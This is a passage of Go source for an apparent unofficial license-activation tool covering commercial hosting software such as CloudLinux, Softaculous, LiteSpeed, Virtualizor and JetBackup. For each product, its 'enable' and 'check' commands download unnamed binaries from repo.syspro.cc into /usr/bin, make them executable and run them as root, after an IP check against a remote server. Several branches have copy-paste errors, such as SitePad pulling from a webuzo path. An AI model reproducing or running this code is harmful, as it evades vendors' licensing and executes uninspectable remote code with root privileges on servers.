			color.Error.Prompt("Cloudlinux not installed")
			fmt.Println("Run:",customCmd,"cloudlinux install		# To install Cloudlinux")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicenseCLv3", "chmod +x /usr/bin/LicenseCLv3", "/usr/bin/LicenseCLv3")
		break
	case "remove":
		removeCloudlinux()
		fmt.Println("Cloudlinux license removed successfully.")
		break
	case "check":
		checkCloudlinux()
	
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " cloudlinux install", "Install Cloudlinux"},
		{customCmd + " cloudlinux enable", "Active license of Cloudlinux"},
		{customCmd + " cloudlinux remove", "Remove Cloudlinux license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Cloudlinux")
	data := [][]string{
		{customCmd + " cloudlinux install", "Install Cloudlinux"},
		{customCmd + " cloudlinux enable", "Active license of Cloudlinux"},
		{customCmd + " cloudlinux remove", "Remove Cloudlinux license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}
////////////////////////////////////Cloudlinux END


func softaculous(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=softaculous"
	if !checkConnection(url) {
		removeSoftaculous()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if !checkSoftaculousInstalled() {
			fmt.Println("Installing Softaculous please wait...")
			installSoftaculous()
		} else {
			fmt.Println("Softaculous already installed.")
			os.Exit(3)
		}

	case "enable":
		if !checkSoftaculousInstalled() {
			color.Error.Prompt("Softaculous not installed")
			fmt.Println("Run:",customCmd,"softaculous install		# To install Softaculous")
			os.Exit(3)
		} else {
			DownExec("https://repo.syspro.cc/bins/LicenseSFv1", "chmod +x /usr/bin/LicenseSFv1", "/usr/bin/LicenseSFv1")
			break
		}
	case "remove":
		removeSoftaculous()
		fmt.Println("Softaculous license removed successfully.")
		break
	case "check":
		if !checkSoftaculous() {
				DownExec("https://repo.syspro.cc/softaculous/LicenseSFv1", "chmod +x /usr/bin/LicenseSFv1", "/usr/bin/LicenseSFv1")
		} else {
		fmt.Println("Softaculous license operate normally")
		}
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " softaculous install", "Install Softaculous"},
		{customCmd + " softaculous enable", "Active license of softaculous"},
		{customCmd + " softaculous remove", "Remove softaculous license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Softaculous")
	data := [][]string{
		{customCmd + " softaculous install", "Install Softaculous"},
		{customCmd + " softaculous enable", "Active license of softaculous"},
		{customCmd + " softaculous remove", "Remove softaculous license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}

func webuzo(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=webuzo"
	if !checkConnection(url) {
		removeSoftaculous()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/webuzo") {
			fmt.Println("Webuzo already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing Webuzo please wait...")
		installWebuzo()
	case "enable":
		if !Exists("/usr/local/webuzo") {
			color.Error.Prompt("Webuzo not installed")
			fmt.Println("Run:",customCmd,"webuzo install		# To install Webuzo control panel")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/webuzo/LicenseWZv1", "chmod +x /usr/bin/LicenseWZv1", "/usr/bin/LicenseWZv1")
		break
	case "remove":
		removeWebuzo()
		fmt.Println("Webuzo license removed successfully.")
		break
	case "check":
		if !checkWebuzo() {
				DownExec("https://repo.syspro.cc/webuzo/LicenseWZv1", "chmod +x /usr/bin/LicenseWZv1", "/usr/bin/LicenseWZv1")
		} else {
		fmt.Println("Webuzo license operate normally")
		}
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " webuzo install", "Install webuzo"},
		{customCmd + " webuzo enable", "Active license of webuzo"},
		{customCmd + " webuzo remove", "Remove webuzo license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Webuzo")
	data := [][]string{
		{customCmd + " webuzo install", "Install webuzo"},
		{customCmd + " webuzo enable", "Active license of webuzo"},
		{customCmd + " webuzo remove", "Remove webuzo license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}

func sitepad(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=sitepad"
	if !checkConnection(url) {
		removeSitepad()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/sitepad") {
			fmt.Println("Sitepad already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing Sitepad please wait...")
		installSitepad()
	case "enable":
		if !Exists("/usr/local/sitepad") {
			color.Error.Prompt("Sitepad not installed")
			fmt.Println("Run:",customCmd,"sitepad install		# To install sitepad")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicenseSPv2", "chmod +x /usr/bin/LicenseSPv2", "/usr/bin/LicenseSPv2")
		break
	case "remove":
		removeSitepad()
		fmt.Println("Sitepad license removed successfully.")
		break
	case "check":
		if !checkSitepad() {
				DownExec("https://repo.syspro.cc/webuzo/LicenseSPv2", "chmod +x /usr/bin/LicenseSPv2", "/usr/bin/LicenseSPv2")
		} else {
		fmt.Println("Sitepad license operate normally")
		}
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " sitepad install", "Install Sitepad"},
		{customCmd + " sitepad enable", "Active license of sitepad"},
		{customCmd + " sitepad remove", "Remove sitepad license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Sitepad")
	data := [][]string{
		{customCmd + " sitepad install", "Install Sitepad"},
		{customCmd + " webuzo enable", "Active license of sitepad"},
		{customCmd + " webuzo remove", "Remove sitepad license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}
func virtualizor(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=virtualizor"
	if !checkConnection(url) {
		removeVirtualizor()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/virtualizor") {
			fmt.Println("Virtualizor already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing Virtualizor please wait...")
		installVirtualizor()
	case "enable":
		if !Exists("/usr/local/virtualizor") {
			color.Error.Prompt("Virtualizor not installed")
			fmt.Println("Run:",customCmd,"virtualizor install		# To install virtualizor")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicenseVZv1", "chmod +x /usr/bin/LicenseVZv1", "/usr/bin/LicenseVZv1")
		break
	case "remove":
		removeVirtualizor()
		fmt.Println("Virtualizor license removed successfully.")
		break
	case "check":
		if !checkVirtualizor() {
				DownExec("https://repo.syspro.cc/bins/LicenseVZv1", "chmod +x /usr/bin/LicenseVZv1", "/usr/bin/LicenseVZv1")
		} else {
		fmt.Println("Virtualizor license operate normally")
		}
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " virtualizor install", "Install Virtualizor"},
		{customCmd + " virtualizor enable", "Active license of virtualizor"},
		{customCmd + " virtualizor remove", "Remove virtualizor license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Virtualizor")
	data := [][]string{
		{customCmd + " virtualizor install", "Install Virtualizor"},
		{customCmd + " virtualizor enable", "Active license of virtualizor"},
		{customCmd + " virtualizor remove", "Remove virtualizor license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}
func whmreseller(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=whmreseller"
	if !checkConnection(url) {
		removeWhmreseller()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/cpanel/whostmgr/docroot/cgi/whmreseller") {
			fmt.Println("Whmreseller already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing Whmreseller please wait...")
		installWhmreseller()
	case "enable":
		if !Exists("/usr/local/cpanel/whostmgr/docroot/cgi/whmreseller") {
			color.Error.Prompt("Whmreseller not installed")
			fmt.Println("Run:",customCmd,"whmreseller install		# To install whmreseller")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicenseWRv1", "chmod +x /usr/bin/LicenseWRv1", "/usr/bin/LicenseWRv1")
		break
	case "remove":
		removeWhmreseller()
		fmt.Println("Whmreseller license removed successfully.")
		break
	case "check":
		if !checkWhmreseller() {
				DownExec("https://repo.syspro.cc/bins/LicenseWRv1", "chmod +x /usr/bin/LicenseWRv1", "/usr/bin/LicenseWRv1")
		} else {
		fmt.Println("Whmreseller license operate normally")
		}
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " whmreseller install", "Install Whmreseller"},
		{customCmd + " whmreseller enable", "Active license of whmreseller"},
		{customCmd + " whmreseller remove", "Remove whmreseller license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Whmreseller")
	data := [][]string{
		{customCmd + " whmreseller install", "Install Whmreseller"},
		{customCmd + " whmreseller enable", "Active license of whmreseller"},
		{customCmd + " whmreseller remove", "Remove whmreseller license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}

func cxs(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=cxs"
	if !checkConnection(url) {
		removeCxs()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/cpanel/whostmgr/docroot/cgi/configserver/cxs") {
			fmt.Println("ConfigServer eXploit Scanner already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing ConfigServer eXploit Scanner please wait...")
		installCxs()
	case "enable":
		if !Exists("/usr/local/cpanel/whostmgr/docroot/cgi/configserver/cxs") {
			color.Error.Prompt("ConfigServer eXploit Scanner not installed")
			fmt.Println("Run:",customCmd,"cxs install		# To install CXS")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicenseCXS", "chmod +x /usr/bin/LicenseCXS", "/usr/bin/LicenseCXS")
		break
	case "remove":
		removeCxs()
		fmt.Println("ConfigServer eXploit Scanner license removed successfully.")
		break
	case "check":
		if !checkCxs() {
				DownExec("https://repo.syspro.cc/bins/LicenseCXS", "chmod +x /usr/bin/LicenseCXS", "/usr/bin/LicenseCXS")
		} else {
		fmt.Println("ConfigServer eXploit Scanner license operate normally")
		}
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " cxs install", "Install CXS"},
		{customCmd + " cxs enable", "Active license of CXS"},
		{customCmd + " cxs remove", "Remove CXS license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for CXS")
	data := [][]string{
		{customCmd + " cxs install", "Install CXS"},
		{customCmd + " cxs enable", "Active license of CXS"},
		{customCmd + " cxs remove", "Remove CXS license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}
//////////////////////////////////litespeed1c
func litespeed1(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=litespeed1"
	if !checkConnection(url) {
		removeLitespeed()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/lsws") {
			fmt.Println("Litespeed already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing Litespeed please wait...")
		installLS()
	case "enable":
		if !Exists("/usr/local/lsws") {
			color.Error.Prompt("Litespeed not installed")
			fmt.Println("Run:",customCmd,"litespeed1 install		# To install Litespeed")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicenseLSv1", "chmod +x /usr/bin/LicenseLSv1", "/usr/bin/LicenseLSv1")
		break
	case "remove":
		removeLitespeed()
		fmt.Println("Litespeed license removed successfully.")
		break
	case "status":
		Expirydays1(f.Expiry)
		break
	case "check":
		checkLitespeed1()
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " litespeed1 install", "Install Litespeed"},
		{customCmd + " litespeed1 enable", "Active license of Litespeed 1-Core"},
		{customCmd + " litespeed1 remove", "Remove Litespeed license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Litespeed 1-Core")
	data := [][]string{
		{customCmd + " litespeed1 install", "Install Litespeed"},
		{customCmd + " litespeed1 enable", "Active license of Litespeed 1-Core"},
		{customCmd + " litespeed1 remove", "Remove Litespeed license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}
///////////////////////////////litespeed1c end
///////////////////////////////litespeed2c start
func litespeed2(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=litespeed2"
	if !checkConnection(url) {
		removeLitespeed()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/lsws") {
			fmt.Println("Litespeed already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing Litespeed please wait...")
		installLS()
	case "enable":
		if !Exists("/usr/local/lsws") {
			color.Error.Prompt("Litespeed not installed")
			fmt.Println("Run:",customCmd,"litespeed2 install		# To install Litespeed")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicenseLSv2", "chmod +x /usr/bin/LicenseLSv2", "/usr/bin/LicenseLSv2")
		break
	case "remove":
		removeLitespeed()
		fmt.Println("Litespeed license removed successfully.")
		break
	case "status":
		Expirydays1(f.Expiry)
		break
	case "check":
		checkLitespeed2()
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " litespeed2 install", "Install Litespeed"},
		{customCmd + " litespeed2 enable", "Active license of Litespeed 2-Core"},
		{customCmd + " litespeed2 remove", "Remove Litespeed license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Litespeed 2-Core")
	data := [][]string{
		{customCmd + " litespeed2 install", "Install Litespeed"},
		{customCmd + " litespeed2 enable", "Active license of Litespeed 2-Core"},
		{customCmd + " litespeed2 remove", "Remove Litespeed license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}
///////////////////////////////litespeed2c end
///////////////////////////////litespeed4c start
func litespeed4(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=litespeed4"
	if !checkConnection(url) {
		removeLitespeed()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/lsws") {
			fmt.Println("Litespeed already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing Litespeed please wait...")
		installLS()
	case "enable":
		if !Exists("/usr/local/lsws") {
			color.Error.Prompt("Litespeed not installed")
			fmt.Println("Run:",customCmd,"litespeed4 install		# To install Litespeed")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicenseLSv4", "chmod +x /usr/bin/LicenseLSv4", "/usr/bin/LicenseLSv4")
		break
	case "remove":
		removeLitespeed()
		fmt.Println("Litespeed license removed successfully.")
		break
	case "status":
		Expirydays1(f.Expiry)
		break
	case "check":
		checkLitespeed4()
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " litespeed4 install", "Install Litespeed"},
		{customCmd + " litespeed4 enable", "Active license of Litespeed 4-Core"},
		{customCmd + " litespeed4 remove", "Remove Litespeed license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Litespeed 4-Core")
	data := [][]string{
		{customCmd + " litespeed4 install", "Install Litespeed"},
		{customCmd + " litespeed4 enable", "Active license of Litespeed 4-Core"},
		{customCmd + " litespeed4 remove", "Remove Litespeed license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}
///////////////////////////////litespeed4c end
///////////////////////////////litespeed8c start
func litespeed8(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=litespeed8"
	if !checkConnection(url) {
		removeLitespeed()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/lsws") {
			fmt.Println("Litespeed already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing Litespeed please wait...")
		installLS()
	case "enable":
		if !Exists("/usr/local/lsws") {
			color.Error.Prompt("Litespeed not installed")
			fmt.Println("Run:",customCmd,"litespeed8 install		# To install Litespeed")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicenseLSv8", "chmod +x /usr/bin/LicenseLSv8", "/usr/bin/LicenseLSv8")
		break
	case "remove":
		removeLitespeed()
		fmt.Println("Litespeed license removed successfully.")
		break
	case "status":
		Expirydays1(f.Expiry)
		break
	case "check":
		checkLitespeed8()
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " litespeed8 install", "Install Litespeed"},
		{customCmd + " litespeed8 enable", "Active license of Litespeed 8-Core"},
		{customCmd + " litespeed8 remove", "Remove Litespeed license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Litespeed 8-Core")
	data := [][]string{
		{customCmd + " litespeed8 install", "Install Litespeed"},
		{customCmd + " litespeed8 enable", "Active license of Litespeed 8-Core"},
		{customCmd + " litespeed8 remove", "Remove Litespeed license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}
///////////////////////////////litespeed8c end
///////////////////////////////litespeedxc start
func litespeedx(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=litespeedx"
	if !checkConnection(url) {
		removeLitespeed()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/lsws") {
			fmt.Println("Litespeed already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing Litespeed please wait...")
		installLS()
	case "enable":
		if !Exists("/usr/local/lsws") {
			color.Error.Prompt("Litespeed not installed")
			fmt.Println("Run:",customCmd,"litespeedx install		# To install Litespeed")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicenseLSvx", "chmod +x /usr/bin/LicenseLSvx", "/usr/bin/LicenseLSvx")
		break
	case "remove":
		removeLitespeed()
		fmt.Println("Litespeed license removed successfully.")
		break
	case "status":
		Expirydays1(f.Expiry)
		break
	case "check":
		checkLitespeedx()
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " litespeedx install", "Install Litespeed"},
		{customCmd + " litespeedx enable", "Active license of Litespeed X-Core"},
		{customCmd + " litespeedx remove", "Remove Litespeed license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Litespeed X-Core")
	data := [][]string{
		{customCmd + " litespeedx install", "Install Litespeed"},
		{customCmd + " litespeedx enable", "Active license of Litespeed X-Core"},
		{customCmd + " litespeedx remove", "Remove Litespeed license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}
///////////////////////////////litespeedxc end
///////////////////////////////jetbackup start
func jetbackup(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=jetbackup"
	if !checkConnection(url) {
		removeLitespeed()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/jetapps/var/lib/jetbackup5") {
			fmt.Println("Jetbackup already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing Jetbackup please wait...")
		installJetbackup()
	case "enable":
		if !Exists("/usr/local/jetapps/var/lib/jetbackup5") {
			color.Error.Prompt("Jetbackup not installed")
			fmt.Println("Run:",customCmd,"jetbackup install		# To install Jetbackup")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicenseJBv1", "chmod +x /usr/bin/LicenseJBv1", "/usr/bin/LicenseJBv1")
		break
	case "remove":
		removeJetbackup()
		fmt.Println("Jetbackup license removed successfully.")
		break
	case "check":
		checkJetbackup()
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " jetbackup install", "Install Jetbackup"},
		{customCmd + " jetbackup enable", "Active license of Jetbackup"},
		{customCmd + " jetbackup remove", "Remove Jetbackup license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Jetbackup")
	data := [][]string{
		{customCmd + " jetbackup install", "Install Jetbackup"},
		{customCmd + " jetbackup enable", "Active license of Jetbackup"},
		{customCmd + " jetbackup remove", "Remove Jetbackup license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}

}

///////////////////////////////jetbackup end
func checkMaintenance() {
	getUA()

	req, err := http.NewRequest("GET", "https://pp2.syspro.cc/info.txt", nil)
	if err != nil {
		color.Red.Println("Looks like you are having connection issues with us.")
		color.Red.Println("Please check if you have IPv6 enabled, if yes disable it.")
		ipReq, _ := http.NewRequest("GET", "https://ifconfig.me/ip", nil)
		ipReq.Header.Set("User-Agent", "curl/7.64.1") // Mimic curl
		ipReq.Header.Set("Accept", "text/plain")
		ipResp, _ := http.DefaultClient.Do(ipReq)
		if ipResp != nil {
			defer ipResp.Body.Close()
			ipBody, _ := ioutil.ReadAll(ipResp.Body)
			color.Red.Println("Your server IP address:", string(ipBody))
		}
		os.Exit(1)
	}
	req.Header.Set("User-Agent", UAData)

	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		color.Red.Println("We are doing maintenance, your license will not be affected.")
		color.Red.Println("Please contact support if you see this notice for long.")
		ipReq, _ := http.NewRequest("GET", "https://ifconfig.me/ip", nil)
		ipReq.Header.Set("User-Agent", "curl/7.64.1") // Mimic curl
		ipReq.Header.Set("Accept", "text/plain")
		ipResp, _ := http.DefaultClient.Do(ipReq)
		if ipResp != nil {
			defer ipResp.Body.Close()
			ipBody, _ := ioutil.ReadAll(ipResp.Body)
			color.Red.Println("Your server IP address:", string(ipBody))
		}
		os.Exit(1)
	}
	defer resp.Body.Close()

	body, _ := ioutil.ReadAll(resp.Body)
	if string(body) != "OK" {
		color.Red.Println("We are doing maintenance, your license will not be affected.")
		color.Red.Println("Please try again after few minutes.")
		os.Exit(1)
	}
}
func isCentos7() bool {
    data, err := os.ReadFile("/etc/redhat-release")
    if err != nil {
        return false // Default to false if unreadable
    }

    content := string(data)
    return strings.Contains(content, "release 7.")
}


func main() {
	checkRoot()
	checkResolver()
	disableIPv6()
	ScpHelper()
